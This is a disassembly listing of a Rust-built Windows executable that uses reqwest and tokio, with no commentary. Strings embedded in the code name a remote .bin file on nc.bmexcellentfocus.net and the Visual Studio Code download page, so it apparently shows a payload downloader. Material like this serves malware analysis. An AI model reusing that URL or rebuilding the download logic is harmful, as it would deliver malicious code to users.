mov qword [rbp + 0x1c8], rcx
mov qword [rbp + 0x1d0], 0
lea rcx, [r14 + 0x140]
mov qword [rbp + 0x3d8], rcx
lea r12, [r14 + 8]
lea rcx, [r14 + 0x28]
mov qword [rbp + 0x3b8], rcx
lea rcx, [r14 + 0x118]
mov qword [rbp + 0x3d0], rcx
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x14004c340
cmp qword [rbp + 0x3f0], 0
jne 0x14004c990
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004b8b0
call fcn.1400861e0
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14004b8b2
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x14004b9d0
cmp r13d, 1
lea rbx, [rbp + 0x1e8]
je 0x14004b926
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14004a290]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014fba8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3b0], cl
mov word [rax + 0x11c], 0x8001
movzx eax, byte [r14 + 0x148]
test eax, eax
je 0x14004b9e3
cmp eax, 3
jne 0x14004c8b7
mov rax, qword [rbp + 0x3d8]
movzx eax, byte [rax]
test eax, eax
je 0x14004bfd1
cmp eax, 3
jne 0x14004c95e
nop dword [rax + rax]
cmp dword [r12], 2
jne 0x14004c073
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x14004c887
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x14004bb60
lea rbx, [rbp + 0x1e8]
movzx eax, byte [r14 + 0x148]
test eax, eax
jne 0x14004b967
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004ca96
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000c000]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov ecx, 5
call fcn.1400e81b0
jmp 0x14004bfc0
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140119a10
cmp dword [r12], 2
jne 0x14004bbf0
mov rbx, qword [r14 + 0x10]
test rbx, rbx
je 0x14004be82
mov r15, qword [rbx + 0x58]
test r15, r15
je 0x14004bbc4
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x14004bba0
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x14004bbc4
cmp qword [rdi + 0x10], 0x11
jb 0x14004bbb2
mov r15, qword [r15 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14004be30
lea r15, [rbp + 0x50]
jmp 0x14004be70
cmp byte [r14 + 0x100], 0xa
jb 0x14004bc1a
cmp qword [r14 + 0x110], 0
je 0x14004bc1a
mov r8, qword [r14 + 0x108]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x90], 0
je 0x14004bc3a
mov r8, qword [r14 + 0x98]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x80], 0
je 0x14004bc57
mov r8, qword [r14 + 0x78]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x58]
test rdi, rdi
je 0x14004bcb0
mov rbx, qword [r14 + 0x50]
add rbx, 0x30
jmp 0x14004bc8b
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x14004bcb0
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14004bc70
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14004bc70
cmp qword [r14 + 0x48], 0
je 0x14004bcca
mov r8, qword [r14 + 0x50]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x70]
test rdi, rdi
je 0x14004bcfb
mov rbx, qword [r14 + 0x68]
add rbx, 0x38
nop dword [rax + rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x14004bce0
cmp qword [r14 + 0x60], 0
je 0x14004bd15
mov r8, qword [r14 + 0x68]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r12], 0
je 0x14004bd37
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x14004bd37
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r14 + 0xf8]
test rdi, rdi
je 0x14004bd80
mov rbx, qword [r14 + 0xf0]
add rbx, 8
jmp 0x14004bd59
add rbx, 0x58
dec rdi
je 0x14004bd80
cmp qword [rbx - 8], 0
je 0x14004bd50
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004bd50
cmp qword [r14 + 0xe8], 0
je 0x14004bda0
mov r8, qword [r14 + 0xf0]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14004bdbc
mov rcx, qword [rbp + 0x3d0]
call fcn.14003fac0
mov rbx, qword [r14 + 0x120]
mov rdi, qword [r14 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x14004bdd7
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14004bdfb
cmp qword [rdi + 0x10], 0x11
jb 0x14004bde9
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [r14 + 0x138]
test rbx, rbx
je 0x14004be82
mov rcx, rbx
call fcn.1400f7a30
lea rcx, [rbx + 8]
cmp qword [rbx], 0
je 0x14004be50
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004be60
call fcn.14003e100
jmp 0x14004be60
test rax, rax
lea r15, [rbp + 0x50]
je 0x14004be70
mov r8, qword [rbx + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004be70
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004be60
call fcn.14003e9c0
nop
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x14004be70
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x48], 3
jne 0x14004bed0
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
mov ecx, 3
call fcn.1400e81b0
lea rcx, [rbp - 0x48]
call fcn.140048610
mov rdx, qword [r14]
lea rbx, [rbp + 0x1e8]
jmp 0x14004bfed
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
lea rcx, [rbp - 0x48]
call fcn.140048610
mov rax, qword [r14]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x14004bf11
mov rcx, r14
call fcn.14003fac0
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_rrrrrrrrrrrrrrrrrrr_20240724032554941.binC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
mov rcx, rbx
lea rdx, [0x14014fc43]
call fcn.14004d670
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ebc10
mov rdi, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x14004bfc0
mov rbx, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14004c2a0
lea rcx, [rbp - 0x48]
mov rdx, rbx
call fcn.1400036c0
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14004c180
mov ecx, 5
call fcn.1400e81b0
test rdi, rdi
je 0x14004bfc0
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400d0cd0
mov rcx, rbx
call fcn.1400c6920
test rax, rax
jne 0x14004c82a
mov qword [r14], rdx
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.14004d980
cmp dword [rbp + 0x50], 2
jne 0x14004c030
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x14004c04b
jmp 0x14004c057
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400c8dc0
lock dec qword [rdi]
jne 0x14004c057
lea rcx, [rbp + 0x160]
call fcn.140083ef0
mov r8d, 0x138
mov rcx, r12
mov rdx, rbx
call fcn.140119a10
cmp dword [r12], 2
je 0x14004b99b
mov rcx, r15
mov rdx, r12
lea r8, [rbp + 0x1c0]
call fcn.1400ccd10
cmp qword [rbp + 0x50], 4
jne 0x14004bb60
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 3
mov r15b, 3
mov dil, 1
mov byte [r14 + 0x148], r15b
cmp r13b, 2
lea r15, [rbp + 0x50]
je 0x14004c130
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004c130
cmp eax, 1
je 0x14004c109
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400f6a40]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014fba8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3b0]
mov byte [rax + 0x11d], cl
cmp qword [rbp + 0x3f0], 0
jne 0x14004c96c
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14004c978
mov qword [rbp + 0x3f0], 0
test dil, dil
jne 0x14004c340
jmp 0x14004c61b
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003c30
call fcn.140001830
mov r15, rax
and eax, 3
cmp eax, 1
jne 0x14004c208
mov dword [rbp + 0x3c0], r13d
mov r13, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rax, qword [rsi]
test rax, rax
je 0x14004c1c1
mov rcx, r13
call rax
cmp qword [rsi + 8], 0
je 0x14004c1e5
cmp qword [rsi + 0x10], 0x11
jb 0x14004c1d3
mov r13, qword [r13 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec r15
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [0x14014fba8]
mov r13d, dword [rbp + 0x3c0]
lea rcx, [rbp + 0x1e8]
call fcn.140001c00
cmp qword [rbp + 0x1e8], 0
je 0x14004c230
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14004c230
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e81b0
call fcn.140004cf0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400f0db0
lea rcx, [rbp + 0x50]
call fcn.140001610
mov r15b, 1
test rdi, rdi
je 0x14004c337
mov rcx, qword [0x140198260]
xor edi, edi
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004c0a0
test r8, r8
je 0x14004bf73
lea rax, [rbx + r8]
mov rdx, rbx
jmp 0x14004c2cc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x14004bf73
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004c2c0
cmp r9b, 0xe0
jb 0x14004c2b2
cmp r9b, 0xed
jne 0x14004c30e
cmp rcx, rax
je 0x14004bf73
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004bf73
cmp byte [rdx + 1], 0x9f
ja 0x14004bf9d
add rdx, 3
mov rcx, rdx
jmp 0x14004c2c0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004c2c0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004c2c0
xor edi, edi
jmp 0x14004c0a0
mov r8, qword [rbp + 0x3e8]
mov edi, dword [r8 + 0x40]
test edi, edi
je 0x14004c548
nop word cs:[rax + rax]
cmp byte [rbx + 0x68], 0
jne 0x14004c5c1
inc dword [rbx + 0x60]
mov rdx, qword [rbp + 0x3e8]
add rdx, 0x10
mov rcx, rbx
call fcn.1401049c0
test rax, rax
je 0x14004c580
cmp qword [rbp + 0x3f0], 0
jne 0x14004c990
mov r15, rax
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004c3d0
call fcn.1400861e0
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14004c3d2
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x120]
cmp ebx, 2
je 0x14004c470
cmp ebx, 1
je 0x14004c438
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14004a290]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014fba8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x11c]
movzx r13d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
jmp 0x14004c470
mov rax, qword [r15 + 0x10]
mov rcx, r15
call qword [rax]
cmp bl, 2
lea r15, [rbp + 0x50]
je 0x14004c4fa
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004c4fa
cmp eax, 1
je 0x14004c4da
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400f6a40]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014fba8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], bl
mov byte [rax + 0x11d], r13b
cmp qword [rbp + 0x3f0], 0
jne 0x14004c96c
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14004c978
mov qword [rbp + 0x3f0], 0
dec edi
jne 0x14004c360
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.140104ff0
mov rbx, rax
mov rax, qword [rbp + 0x3e8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14004b86e
jmp 0x14004c340
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x400], rax
lea r15, [rbp + 0x50]
jae 0x14004cb80
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
cmp qword [rbp + 0x418], 0
jne 0x14004c54c
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.140104aa0
jmp 0x14004c55b
cmp qword [rbp + 0x3f0], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
jne 0x14004cb74
xor r14d, r14d
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004c656
call fcn.1400861e0
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14004c658
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
mov r14b, 1
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
jne 0x14004c60a
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp + 0x3e0]
call fcn.1401045e0
cmp qword [rbp + 0x3e0], 0
je 0x14004c722
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x14004c699
lea rcx, [rbp + 0x3e8]
call fcn.14003e010
mov rsi, qword [rbp + 0x3f8]
test rsi, rsi
je 0x14004c74c
mov rcx, qword [rsi]
test rcx, rcx
je 0x14004c6d8
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14004cb8c
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14004c6d8
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.14004d000
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14004c6f6
mov rcx, rdi
call fcn.140102bb0
mov rax, qword [rsi + 8]
test rax, rax
je 0x14004c70e
lock dec qword [rax]
jne 0x14004c70e
lea rcx, [rsi + 8]
call fcn.14003e340
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004c74c
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x14004c73b
lea rcx, [rbp + 0x3e8]
call fcn.14003e9c0
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14004c74c
call fcn.1400861e0
mov rsi, qword [rbp + 0x418]
test rsi, rsi
je 0x14004c783
mov rdi, qword [rbp + 0x410]
add rdi, 8
nop word cs:[rax + rax]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x14004c770
cmp qword [rbp + 0x408], 0
je 0x14004c7a3
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14b, r14b
je 0x14004cb33
mov ecx, dword [rbp + 0x398]
mov edx, dword [rbp + 0x39c]
call fcn.1401044c0
lea rcx, [rbp + 0x380]
call fcn.1400fa450
mov rax, qword [rbp + 0x380]
cmp rax, 2
je 0x14004c80f
test rax, rax
je 0x14004c7f6
mov rax, qword [rbp + 0x388]
lock dec qword [rax]
jne 0x14004c80f
lea rcx, [rbp + 0x388]
call fcn.14003e100
jmp 0x14004c80f
mov rax, qword [rbp + 0x388]
lock dec qword [rax]
jne 0x14004c80f
lea rcx, [rbp + 0x388]
call fcn.14003e9c0
movaps xmm6, xmmword [rbp + 0x440]
add rsp, 0x4d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1e8], rdx
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x140156ab0]
lea r8, [rbp + 0x1e8]
mov edx, 0xd
call fcn.14011acb0
lea rax, [0x140161f50]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140161ca0]
lea r8, [rbp + 0x430]
mov edx, 0x2b
call fcn.14011acb0
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.14011add0
lea rcx, [0x1401612f8]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.14011add0
lea rcx, str.src_main.rs
call fcn.14011b000
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014f660]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.14011acb0
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x50], rax
lea rax, [fcn.140008a30]
mov qword [rbp + 0x58], rax
lea rax, [0x140161e38]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x200], 1
lea rdx, [0x140161e48]
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.src_main.rs
call fcn.14011b000
ud2
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.14011add0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x140161ca0]
lea r8, [rbp + 0x430]
mov edx, 0x1b
call fcn.14011acb0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.src_main.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.14011abf0
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014fae8]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.14011acb0
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.14011add0
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.14011ac50
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x140160b78]
mov edx, 0x27
call fcn.14011aa10
mov dword [rbp - 0x48], 0
mov byte [rbp - 0x44], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
lea rax, [rbp + 0x430]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rcx, [rbp - 0x48]
lea rdx, [rbp + 0x1e8]
call fcn.1400e5ed0
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call case.0x1400d4535.333
mov ecx, 7
int 0x29
ud2